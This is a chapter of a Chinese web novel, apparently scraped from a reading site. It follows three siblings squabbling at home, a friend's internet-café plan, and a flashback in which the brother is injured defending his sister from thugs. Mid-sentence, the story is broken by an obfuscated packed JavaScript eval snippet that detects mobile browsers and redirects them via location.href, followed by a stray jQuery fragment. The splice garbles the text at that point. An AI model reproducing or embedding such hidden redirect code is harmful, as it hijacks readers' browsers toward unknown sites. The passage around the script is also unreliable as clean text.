90. 揣着明白装糊涂
作品:《拨云不见日[九零]》 阮云琛刚才压根没在听胖子在耳边的叨叨,所以现在胖子这么一问,还真给她问懵了。
“你要开网吧?”她问。
“对啊。”胖子用力点了点头,“我刚才说了那么老半天,感情你一句没听啊。”
“我听了又没什么用。”阮云琛非常实诚。
但她转而又觉得奇怪,胖子这来来去去变着生意骑三轮也骑了小五年——起码在她住到廖致远的公寓之前,胖子就已经在做着三轮车生意了。
按照他的话讲,那叫做“流动摊位”、“灵活运营”,好处是胜在自由,坏处是赚的钱刚够养活自己。怎么现在又突然变了性子,想包个店面了?
并且阮云琛也非常直接地问了:“你有钱吗?”
“瞧你这话说得。”
胖子“哼”了声,看起来气鼓鼓的——这要是搁以前他还胖的时候,那气鼓鼓的模样倒是可能会有几分像福娃娃一样可爱,可现在他瘦了下来,脸颊一点儿肉也没有,还留了点胡茬,这么一嘟嘴,搞得跟硬汉卖萌似的,有点恶心。
阮云琛不动声色地移开了目光。
背后柜台里擦着哑铃的拳馆老板陈二起也是。
谢胖子秃噜了下嘴皮子,转而做出了一副神气兮兮的模样:“你胖哥虽然赚的不多,但是还是有点小积蓄的。”
阮云琛斜着眼看他,整张脸上只写了一个问题:“真的吗?”
谢胖子瞥见了,倒抽着“嘶”了一声,但他没在意,只是非常自来熟地从阮云琛手里面拎着塑料袋里也掏了个馒头出来。
阮云琛还没来得及制止,谢胖子张大了嘴就咬了一口——“哎哟!这里头怎么是硬的啊!”
“淼淼蒸的。”阮云琛试图推卸责任。
好在谢胖子知道什么叫吃人嘴软,他含泪咽下了那一口又冷又热的馒头,犹豫了半天,也没啃下第二口,想了一想,决定用话题来转移阮云琛的注意力:“我是说,我找了个合伙人,打算一起做点稳定生意。”
“合伙人?”阮云琛一愣。
谢胖子每日都在淮龙来来回回地跑,这当中他要是遇到什么生意上的知己,倒是也没什么奇怪的。
可据阮云琛所知——准确来讲,是据阮秋对于谢胖子阴阳怪气地描述里来看,他似乎真没什么认识的人。
也就是近一个月...或许是两个月来,突然说有了个合伙人,才做下的这种决定。
胖子见阮云琛半天没声音,有些等不及,用胳膊肘捅了捅她:“你不问我是谁吗?”
阮云琛平静地扫了胖子一眼,那眼神没有多半秒停留,立刻就溜去了他身旁的运动器材上面,仔细地看起了砝码的重量。
——反正不问他也会说。
“成哥。”
果不其然,胖子跟吐瓜子皮儿似的,轻松地把自己的小秘密给抖了出来。
“他年头来的淮龙,经常搁我摊子买东西,我俩就多聊了几句,还挺投缘,就合作上了。”
胖子看起来美滋滋地,眼睛里已经闪现了对未来能翘着脚数钱的渴望。
“等你胖哥的网吧开了,给你们仨都开个一年免费会员!”他想了想,又回头对拳馆老板抛了个眼神,“陈老板要的话,也给你送个呗!”
阮云琛“哦”了声。
“谁稀罕他的会员。”阮秋小声叨咕了句。
阮云琛看了他一眼,没接话,只是顺手将盘子里的水果切成了小块,用牙签一一串好,推到阮秋面前。
“吃吧。”她语调平平,甚至带着点不以为然的意味。
阮秋伸手就要去拿牙签,可手抬到一半就又停了,动作缓慢地收回,顺势将胳膊搁在膝盖上,像是刻意给自己添了点可怜劲儿。
“姐,我手疼,”阮秋突然开口,声音里还透着点委屈,“抬不起来。”
淼淼在旁边瞪大了眼睛,一副不可置信的模样,嘴里的半块苹果都没嚼完,就搁在牙缝间叼着。
她知道阮秋是因为自己受的伤,可她也没想过这人能因为这事做出这种举动。
阮云琛的动作一顿,牙签停在盘子上方,微微翘起的眉梢透出几分不信。
她把目光从水果上挪开,落到阮秋的手腕上,那里的绷带一看就是她早上刚换的,扎得严严实实,看不出什么异样。
“你……”
阮云琛话没说完,阮秋已经略显无辜地抬起那只手腕晃了晃,表情无可挑剔地平静:“姐,真的疼。”
他的语调不高,尾音却稍稍拉长了一点,像是不经意间撒下的网,笼在两人之间。那语气就算说不上是撒娇,也离得不远。
淼淼噎了一下,嘴里的苹果差点掉出去:“你不至于吧……”
“闭嘴。”阮云琛截住了她的话,声音很轻,却带着让人无法忽视的分量。
她转过身,看着阮秋,无奈地拿起一块苹果插上牙签递过去。语气平淡得像是没多大事:“张嘴。”
阮秋瞥了淼淼一眼,嘴角勾起一抹淡淡的笑意,乖乖低头咬住苹果。他咬得很慢,目光始终没从阮云琛脸上移开,像是在欣赏什么罕见的画面。
淼淼咬牙切齿,干脆把自己整个人缩进沙发里,装作没看见。
阮云琛不再理会淼淼,继续挑起下一块水果递过去:“吃完就赶紧休息。”
阮秋拖长了音调说了声“好”,随后扬着下巴冲淼淼看了一眼。
淼淼做出了个呕吐的动作。
阮云琛倒是全看见了,但她也懒得说。
她就只是觉得有点心累。
以前那个可爱的小姑娘上哪去了......
她也就是出去上了两年大学,怎么回来就全变了?
阮云琛靠回沙发里,抬手揉了揉太阳穴,指尖用力按了两下,试图把脑子里的疲惫给强压下去。
她忽然觉得自己每天过得跟上阵打仗似的,偏偏这俩人还总有办法让她兵荒马乱。
一个青春期的尾巴,一个青春期的开头,撞在一起就跟两颗火星子,多半时候都是在互相较劲,只是非常偶尔才能冒出点温情——淼淼不动声色地翻着白眼,阮秋装模作样地无辜对视。
这些小动作落在她眼里,全都写着三个大字:不省心。
可再不省心,她也得管。
阮云琛叹了口气,目光在两人身上来回转了几圈。
她记得以前带着他们去菜市场买菜,淼淼小小一只,拽着她的衣角不撒手,非要抱还嚷嚷自己不重;阮秋安安静静地跟在旁边,像一只不想惹麻烦的小狗,只要有人问他,他就回一句“姐姐说了算”。
那时候多好啊。
现在倒好了,一个张牙舞爪,像是有了全世界都不服的理由;一个懂事得过了头,还总爱揣着明白装糊涂,拐弯抹角地在她面前“撒娇”。
这日子简直像是在走钢丝,一边是她竭尽全力维系的“正常生活”,另一边是那两个人拉着她东倒西歪,生怕日子太安稳了少点热闹。
阮云琛有时候真的分不清自己是他们的姐姐,还是操心到头发都要白了的老母亲。
思绪拧在一起,让她有点喘不过气来。
阮云琛侧头看了一眼,淼淼已经窝在沙发一角,嘴里咬着手机壳,不知道在看什么。阮秋靠着扶手,目光却悄悄落在她脸上,带着点不易察觉的笑意。
“怎么了?”阮云琛眉头一挑,语气里透着些疲惫,“还有事没事?”
“没事了。”阮秋笑得坦然,“姐,我还想吃橘子。”
阮云琛闭了闭眼,觉得心更累了。
“下学期开学你就大一了,你做好准备了吗?”阮云琛决定换个话题。
“没有。”阮秋如实道,“但是如果姐姐让我做,我马上就能做好。”
阮云琛:“......”
阮云琛忽然觉得,那种“阮秋是不是为了向自己演这么一出才故意受的伤”的想法,会不会有点过分了。
阮秋也有同样的想法。
倒不是“为了向阮云琛演这么一出才受的伤”,而是“受了伤才能让他顺理成章地演这么一出”。
受伤是意外——当然是意外。
阮秋本来以为自己能应对得了一切的。
他从来没有想过自己有一天会用这样的方式去证明什么。
当他看到那几个混混的时候,下意识想的不是为什么会遇到这样的事情,而是淼淼会不会被吓到。
她的书包带被扯住,肩膀因为那股力道微微一颤,整个人被拉得踉跄了一下。她睁大了眼睛,嘴唇动了动,却一句话都没说出来。
“把她放开。”
他的声音不大,却清清楚楚传进了那些人耳朵里。
围着的几个混混转过头来,脸上的表情是同样的慵懒和不屑。他们目光在他身上扫了一圈,就像是在评估猎物的重量。
“这谁啊?”其中一个人懒洋洋地开口,嘴里叼着根烟,声音带着点笑意,“英雄救美啊?”
阮秋没有回答,只是直直站在那里,眼睛一瞬不瞬地盯着扯着淼淼书包带的那只手。
那个混混像是察觉到了什么,动作一顿,随后竟然放开了书包,顺势推了淼淼一把,把她推向阮秋的方向。
淼淼踉跄着扑过来,阮秋伸手扶住了她。
“哥……”她的声音带着哭腔,低低的,几乎听不清。
阮秋没有看她,只是轻轻拍了拍她的肩膀,“站后面去。”
他说得很轻,却带着不容拒绝的坚定。
淼淼往后退了一步,手还紧紧攥着他的衣袖。
“行啊,英雄救美成功了。”另一个混混大笑了一声,“不过你打算怎么护着她?我们也不是那么好打发的。”
他们的动作慢吞吞的,像是在逗弄什么小动物。他们不会觉得一个年轻的男孩子能造成多大的威胁。
但阮秋很清楚,自己不能表现出一点退缩。他站得笔直,像是把整个人都定在了地上。他知道自己没办法挡住所有的危险,但至少,他要让他们知道,有他在,这件事不会轻易结束。
“要不这样吧,”一个混混笑着说,“你跪下来,磕三个响头,我们就放你们走。”
“你试试。”
阮秋的声音依然不大,却像是一根针,直接戳进了那人的笑声里。
空气瞬间安静了一秒。
混混愣了一下,随后爆发出一阵大笑。他们笑得前仰后合,仿佛听到了世界上最好笑的笑话。
阮秋没有笑,他只是看着他们,目光沉沉的,像是一汪深潭。
“你还真挺硬气啊。”为首的混混扯下嘴里的烟,踩灭在地,“那就别怪哥几个不客气了。”
他们动了。
阮秋护着淼淼往后退,脚步踩在地面上的时候发出一阵轻响。他知道自己的力气和身手可能比不过这些人,但他不能退得太远,也不能让他们靠近淼淼。
拳头落下来的时候,他偏头避开,却还是被擦过了肩膀,疼得浑身一颤。但他没有退,反而趁对方露出破绽的时候,用力抓住那人的手腕,狠狠一扭。
“跑!”他朝淼淼喊了一声,声音低哑却有力。
话音未落,他就被一脚踹倒在地。
他还没来得及站起来,又是一棍子砸在了肩膀上,疼得他整个人差点抽过去。
“跑!”他的声音更大了,像是用尽了最后的力气。
淼淼没有跑,她站在那里,眼睛睁得大大的,像是被钉在了原地。
紧接着,他就听到了脚步声。
凌厉,迅速,不容抗拒。
下一秒,熟悉的身影闯进了他的视线,像是一把从天而降的刀,直接撕开了那些人之间的防线。
阮云琛来了。
她闯进这片狼藉的巷子,动作干净利落,像是一道无法抵挡的风,几下就把那些混混撂倒在地。她的眼神冷冽,却没有丝毫多余的情绪,像是每一拳每一脚都带着十足的分量,却又没有过界。
阮秋看着她,脑海里闪过了很多画面。
小时候的阮云琛没有这么高,也没有这么冷漠。她穿着松松垮垮的衣服,牵着淼淼的手,另一只手还提着个廉价的塑料袋,里面装着三个人的午饭。
那时候的她,脸上总有种倔强的神色,眼神里的锋利像是藏在水底的刀,只露出一点点,却足够让人不敢轻视。
他尤记得自己第一次看到她时的场面。
冷硬,疏离,却又无法阻止她心底里不知不觉流露出的温柔。
阮云琛是所有事情的中心,是他生活的方向,是他无法抗拒也不想抗拒的依赖。阮秋知道,自己所有的安全感都来源于她,他甚至无法想象有一天她会离开他,或者他会离开她。
这样的想法让他有点喘不过气。
阮云琛冲到他面前,低头看了他一眼,眼底掠过一抹他不常见的急切和担忧。她没有多问,只是半蹲下来,扶住他的肩膀,快速检查了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203623|158973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤势。
“还能站起来吗?”她问,声音低而稳。
阮秋想点头,但肩膀上的疼痛让他一动就吸了一口凉气。
阮云琛皱了皱眉,手上的动作轻了些,却没再说什么。她转头看了看四周,确认那些混混已经跑远了,这才扶着他站了起来。
那一瞬间,阮秋的视线撞上她的目光。
那是一种说不清的感觉,像是所有的信赖和依赖都被搅在了一起,又混进了某种更深层次的情绪。
他无法描述,只觉得胸口发紧,像是被什么东西压住了,又像是某根弦在悄无声息地拉紧。
他移开了目光,低声说:“没事,别担心。”
阮云琛没有回答,只是微微用力扶了他一下,然后转头看向站在旁边的淼淼。
“走吧。”她的声音依然平静,却带着一种无法抗拒的力量。
阮秋跟在她身后,目光却始终落在她的背影上。
他想,这样也挺好。
只要能一直这样,就挺好。
“姐,你可不可以不要离开我......我们?”阮秋忍不住这样问道。
阮云琛举起苹果的手顿了一顿,脸上有些茫然。
反倒是旁边的淼淼有点受不了了,拿着电视遥控器打了他一下,可她却似乎也好奇着这个问题的答案,透过了阮秋的肩头,往阮云琛那儿悄悄地看。
“怎么突然问这个问题?”阮云琛问。
阮秋沉默了会儿,自顾自地笑了笑,摇了摇头:“没什么。”
阮云琛当然不会离开。
阮秋知道这一点。
如果她想要离开,她从最一开始就不会把他带回家,从最早前就不会拎着淼淼到处奔波。
“我只是觉得,有你真好。”阮秋说。
淼淼做了个呕吐的表情:“秋哥,以前怎么没觉得你这么恶心。”
阮云琛抬手就给了淼淼一个脑瓜崩:“没礼貌。”
淼淼一下子就委屈上了,眼泪水“哗”地就下来了:“姐!你就向着他!你胳膊肘往外拐!”
可她说完这句话忽然意识到不对,那两条眼泪一下子就止住了。这委屈是假,故意酝酿出来的眼泪却是真的,这么突然一停,雷声小了,鼻涕泡倒是出来了。
淼淼瞬间嫌弃起了自己丢人,捂着鼻子就想逃,阮秋一把扯着她的领子制住了她的行动,声音高了八个度:“我是‘外’?那你‘内’?”
淼淼理亏,不说话了,阮秋却还得理不饶人,仗着自己已经蹿上了超一米八的大高个,直接站起身,拎得淼淼都快脚尖离地:“你‘内’你还离家出走,让姐姐担心?”
这话戳了淼淼软肋,她那留了一半停下来的眼泪瞬间就又掉了下来。这会儿可不是假的,是真的带了点后悔的意思。
她张牙舞爪地想要把阮秋的手给拍走,别让他再拎着自己领子,可不管怎么拍,阮秋都能完美地先她一步避开。
淼淼大声哭诉:“你伤口恢复好了不疼了是吧!”
阮秋立刻撒了手,以迅雷不及掩耳之势坐回了沙发里,窝在阮云琛旁边,一副“我就是装,你奈我何”的样子,委委屈屈地说:“哎呀,疼......”
阮云琛:“......”
廖致远短暂地回来了两三天,听说是刚结了个什么连环杀人的大案子,但是凶手还有同伙,马上还得回局里加班。
他回来的时候,淼淼难得的乖巧,阮秋也把衣裳穿得一丝不苟,生怕被廖致远看出什么端倪。
但很显然,什么都逃不过一个常年泡在各种案子里的老警察的眼睛。
“发生什么了?”他问。
“没什么大事。”阮云琛说,“他出去跟混混打架了,受了点皮外伤。”
廖致远沉默了许久,去阳台抽了根烟。
他抽烟的时候,淼淼频繁往阮云琛那儿看,阮云琛紧抿着唇,给了她一个“你自己看着办”的眼神,没说话。
廖致远抽完烟,转身回到客厅,目光扫过三个人。
他的目光并没有刻意停留在谁身上,却像是能把每个人都看透了一样。沙发上的三个人同时挺了挺背,不约而同地低下头,像是被什么无形的力量压住了。
“说吧。”他开口,语气平静得像是在问今天晚饭吃了什么。
阮秋开了口:“没什么大事,就是……遇到几个不长眼的家伙。”
“哦?”廖致远扬了扬眉,“所以现在有伤的不是那些‘不长眼的家伙’,而是你?”
阮秋闭了嘴。
廖致远没再继续逼问,目光转向了阮云琛:“这事儿你处理了吗?”
“处理了。”阮云琛犹豫了下,还是如实补充了句,“我揍了他们一顿。”
“那行。”他点了点头,语气依旧平静,“不过下次再有这样的事,告诉我一声,别自己逞能。”
“是皮外伤。”阮云琛补充了一句,像是想强调这件事没必要兴师动众。
“皮外伤也是伤。”廖致远抬起眼,看着她,语气里多了一丝不容置疑,“你觉得‘皮外伤’三个字在医学院是个科目?”
阮云琛被噎了一下,没再说话。
廖致远看了他们一会儿,叹了口气,走到冰箱前拿了瓶水,声音低了些:“你们三个,要是真想让我活得久一点,就别老让我操心这些破事。”
屋里一片安静。
他喝了口水,又说道:“阮秋,明天我带你去医院再看看。淼淼,去把你那些不知道干嘛用的画册都整理一下,别再让家里乱得跟垃圾场似的。”
他的话说得轻,却像是把所有的事情都拎得清清楚楚,既没有多余的责备,也没有任何可以辩解的余地。
隔天一早,阮秋就被廖致远揪去了医院。
淼淼本来还在幸灾乐祸,结果头刚伸出来,就也被廖致远一把抓着塞上了车:“你跟我去医院复查一下,以防万一。”
阮云琛难得耳根子清净了一天。
好日子总是短暂,并且短暂得过了头,阮秋有时候其实挺讨厌自己,讨厌自己为什么伤口可以恢复得这么快。
这才没一个月,阮云琛就给他拆了纱布,底下的伤口连疤都脱落了个干净,只剩下几道浅浅的印子。
阮秋看了看桌上的苹果,又看了看不远处不知道在得意什么的阮淼淼,颇有些愤恨地插了个苹果片儿塞进了嘴里,嘎嘣嘎嘣地嚼。
“我打算在城北开网吧。”